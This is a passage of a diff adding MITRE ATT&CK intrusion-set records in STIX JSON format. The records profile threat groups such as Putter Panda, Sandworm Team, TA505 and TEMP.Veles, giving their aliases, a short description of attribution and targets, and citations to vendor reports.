"intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Putter Panda", + "APT2", + "MSUpdater" + ], + "type": "intrusion-set", + "name": "Putter Panda", + "description": "[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA\u2019s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)", + "external_references": [ + { + "external_id": "G0024", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0024" + }, + { + "description": "(Citation: CrowdStrike Putter Panda) (Citation: Cylance Putter Panda)", + "source_name": "Putter Panda" + }, + { + "description": "(Citation: Cylance Putter Panda)", + "source_name": "APT2" + }, + { + "description": "(Citation: CrowdStrike Putter Panda)", + "source_name": "MSUpdater" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + }, + { + "source_name": "Cylance Putter Panda", + "description": "Gross, J. and Walter, J.. (2016, January 12). Puttering into the Future.... Retrieved January 22, 2016.", + "url": "http://blog.cylance.com/puttering-into-the-future" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:56.785Z", + "id": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "modified": "2019-03-25T16:53:38.621Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "RTM" + ], + "type": "intrusion-set", + "name": "RTM", + "description": "[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)", + "external_references": [ + { + "external_id": "G0048", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0048" + }, + { + "description": "(Citation: ESET RTM Feb 2017)", + "source_name": "RTM" + }, + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:10.206Z", + "id": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f", + "modified": "2019-03-25T16:54:05.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Rancor" + ], + "type": "intrusion-set", + "name": "Rancor", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)", + "external_references": [ + { + "external_id": "G0075", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0075" + }, + { + "description": "(Citation: Rancor Unit42 June 2018)", + "source_name": "Rancor" + }, + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.491Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "Sandworm Team", + "Quedagh", + "VOODOO BEAR" + ], + "type": "intrusion-set", + "name": "Sandworm Team", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a Russian cyber espionage group that has operated since approximately 2009. The group likely consists of Russian pro-hacktivists. [Sandworm Team](https://attack.mitre.org/groups/G0034) targets mainly Ukrainian entities associated with energy, industrial control systems, SCADA, government, and media. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been linked to the Ukrainian energy sector attack in late 2015.\n (Citation: iSIGHT Sandworm 2014) (Citation: CrowdStrike VOODOO BEAR)", + "external_references": [ + { + "external_id": "G0034", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0034" + }, + { + "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)", + "source_name": "Sandworm Team" + }, + { + "description": "Based on similarities between TTPs, malware, and targeting, Sandworm Team and Quedagh appear to refer to the same group. (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)", + "source_name": "Quedagh" + }, + { + "description": "(Citation: CrowdStrike VOODOO BEAR)", + "source_name": "VOODOO BEAR" + }, + { + "source_name": "iSIGHT Sandworm 2014", + "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" + }, + { + "source_name": "CrowdStrike VOODOO BEAR", + "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/" + }, + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "source_name": "InfoSecurity Sandworm Oct 2014", + "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.", + "url": "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:04.588Z", + "id": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "modified": "2019-03-25T16:55:26.051Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Scarlet Mimic" + ], + "type": "intrusion-set", + "name": "Scarlet Mimic", + "description": "[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)", + "external_references": [ + { + "external_id": "G0029", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0029" + }, + { + "description": "(Citation: Scarlet Mimic Jan 2016)", + "source_name": "Scarlet Mimic" + }, + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:00.677Z", + "id": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "modified": "2019-04-22T15:06:12.560Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "Silence" + ], + "name": "Silence", + "description": "[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing. (Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) ", + "id": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Oleg Skulkin, Group-IB" + ], + "created": "2019-05-24T17:57:36.491Z", + "modified": "2019-07-16T16:12:09.085Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0091", + "url": "https://attack.mitre.org/groups/G0091" + }, + { + "description": "(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) ", + "source_name": "Silence" + }, + { + "source_name": "Cyber Forensicator Silence Jan 2019", + "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", + "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/" + }, + { + "source_name": "SecureList Silence Nov 2017", + "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", + "url": "https://securelist.com/the-silence/83009/" + } + ] + }, + { + "aliases": [ + "SilverTerrier" + ], + "type": "intrusion-set", + "name": "SilverTerrier", + "description": "[SilverTerrier](https://attack.mitre.org/groups/G0083) is a Nigerian threat group that has been seen active since 2014. [SilverTerrier](https://attack.mitre.org/groups/G0083) mainly targets organizations in high technology, higher education, and manufacturing.(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0083", + "url": "https://attack.mitre.org/groups/G0083" + }, + { + "description": "(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)", + "source_name": "SilverTerrier" + }, + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + }, + { + "source_name": "Unit42 SilverTerrier 2016", + "description": "Renals, P., Conant, S. (2016). SILVERTERRIER: The Next Evolution in Nigerian Cybercrime. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:36:59.793Z", + "id": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "modified": "2019-04-12T16:33:51.005Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Soft Cell" + ], + "name": "Soft Cell", + "description": "Operation [Soft Cell](https://attack.mitre.org/groups/G0093) is a group that is reportedly affiliated with China and is likely state-sponsored. The group has operated since at least 2012 and has compromised high-profile telecommunications networks.(Citation: Cybereason Soft Cell June 2019)", + "id": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Cybereason Nocturnus, @nocturnus" + ], + "created": "2019-07-18T20:47:50.050Z", + "modified": "2019-07-22T15:49:28.637Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0093", + "url": "https://attack.mitre.org/groups/G0093" + }, + { + "description": "(Citation: Cybereason Soft Cell June 2019)", + "source_name": "Soft Cell" + }, + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ] + }, + { + "aliases": [ + "Sowbug" + ], + "name": "Sowbug", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)", + "id": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Alan Neville, @abnev" + ], + "created": "2018-01-16T16:13:52.465Z", + "modified": "2019-03-25T16:57:02.658Z", + "external_references": [ + { + "external_id": "G0054", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0054" + }, + { + "description": "(Citation: Symantec Sowbug Nov 2017)", + "source_name": "Sowbug" + }, + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ] + }, + { + "aliases": [ + "Stealth Falcon" + ], + "type": "intrusion-set", + "name": "Stealth Falcon", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)", + "external_references": [ + { + "external_id": "G0038", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0038" + }, + { + "description": "(Citation: Citizen Lab Stealth Falcon May 2016)", + "source_name": "Stealth Falcon" + }, + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:06.390Z", + "id": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Stolen Pencil" + ], + "type": "intrusion-set", + "name": "Stolen Pencil", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0086", + "url": "https://attack.mitre.org/groups/G0086" + }, + { + "description": "(Citation: Netscout Stolen Pencil Dec 2018)", + "source_name": "Stolen Pencil" + }, + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-05T17:56:55.233Z", + "id": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.086Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Strider", + "ProjectSauron" + ], + "type": "intrusion-set", + "name": "Strider", + "description": "[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)", + "external_references": [ + { + "external_id": "G0041", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0041" + }, + { + "description": "(Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)", + "source_name": "Strider" + }, + { + "description": "ProjectSauron is used to refer both to the threat group also known as G0041 as well as the malware platform also known as S0125. (Citation: Kaspersky ProjectSauron Blog) (Citation: Kaspersky ProjectSauron Full Report)", + "source_name": "ProjectSauron" + }, + { + "source_name": "Symantec Strider Blog", + "description": "Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" + }, + { + "source_name": "Kaspersky ProjectSauron Blog", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.", + "url": "https://securelist.com/faq-the-projectsauron-apt/75533/" + }, + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:07.541Z", + "id": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656", + "modified": "2019-03-25T16:59:10.789Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Suckfly" + ], + "type": "intrusion-set", + "name": "Suckfly", + "description": "[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)", + "external_references": [ + { + "external_id": "G0039", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0039" + }, + { + "description": "(Citation: Symantec Suckfly March 2016) (Citation: Symantec Suckfly May 2016)", + "source_name": "Suckfly" + }, + { + "source_name": "Symantec Suckfly March 2016", + "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + }, + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:06.777Z", + "id": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "modified": "2019-03-25T16:59:47.104Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "TA459" + ], + "name": "TA459", + "description": "[TA459](https://attack.mitre.org/groups/G0062) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)", + "id": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Valerii Marchuk, Cybersecurity Help s.r.o." + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-03-25T17:00:47.218Z", + "external_references": [ + { + "external_id": "G0062", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0062" + }, + { + "description": "(Citation: Proofpoint TA459 April 2017)", + "source_name": "TA459" + }, + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ] + }, + { + "aliases": [ + "TA505" + ], + "type": "intrusion-set", + "name": "TA505", + "description": "[TA505](https://attack.mitre.org/groups/G0092) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0092", + "url": "https://attack.mitre.org/groups/G0092" + }, + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "source_name": "Proofpoint TA505 June 2018", + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" + }, + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T15:54:17.213Z", + "id": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "TEMP.Veles", + "XENOTIME" + ], + "type": "intrusion-set", + "name": "TEMP.Veles", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)", + "external_references": [ + { + "external_id": "G0088", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0088" + }, + { + "description": "(Citation: FireEye TRITON 2019)", + "source_name": "TEMP.Veles" + }, + { + "description": "The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )", + "source_name": "XENOTIME" + }, + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + }, + { + "source_name": "FireEye TEMP.Veles 2018", + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " + }, + { + "description": "Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019.", + "source_name": "FireEye TEMP.Veles JSON April 2019", + "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html" + }, + { + "source_name": "Dragos Xenotime 2018", + "description": "Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.", + "url": "https://dragos.com/resource/xenotime/" + }, + { + "source_name": "Pylos Xenotime 2019", + "description": "Slowik, J.. (2019, April 12). A XENOTIME to Remember: Veles in the Wild. Retrieved April 16, 2019.", + "url": "https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/" + }, + { + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", + "source_name": "FireEye TEMP.Veles 2018 ", + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T15:14:38.533Z", + "id": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Taidoor" + ], + "type": "intrusion-set", + "name": "Taidoor", + "description": "[Taidoor](https://attack.mitre.org/groups/G0015) is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)", + "external_references": [ + { + "external_id": "G0015", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0015" + }, + { + "description": "(Citation: TrendMicro Taidoor)", + "source_name": "Taidoor" + }, + { + "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", + "source_name": "TrendMicro Taidoor", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:52.018Z", + "id": "intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "The White Company" + ], + "type": "intrusion-set", + "name": "The White Company", + "description": "[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0089", + "url": "https://attack.mitre.org/groups/G0089" + }, + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T00:08:18.314Z", + "id": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "modified": "2019-06-12T19:55:21.382Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Threat Group-1314", + "TG-1314" + ], + "type": "intrusion-set", + "name": "Threat Group-1314", + "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)", + "external_references": [ + { + "external_id": "G0028", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0028" + }, + { + "description": "(Citation: Dell TG-1314)", + "source_name": "Threat Group-1314" + }, + { + "description": "(Citation: Dell TG-1314)", + "source_name": "TG-1314" + }, + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:59.120Z", + "id": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "modified": "2019-03-25T17:01:21.135Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Threat Group-3390", + "TG-3390", + "Emissary Panda", + "BRONZE UNION", + "APT27", + "Iron Tiger", + "LuckyMouse" + ], + "type": "intrusion-set", + "name": "Threat Group-3390", + "description": 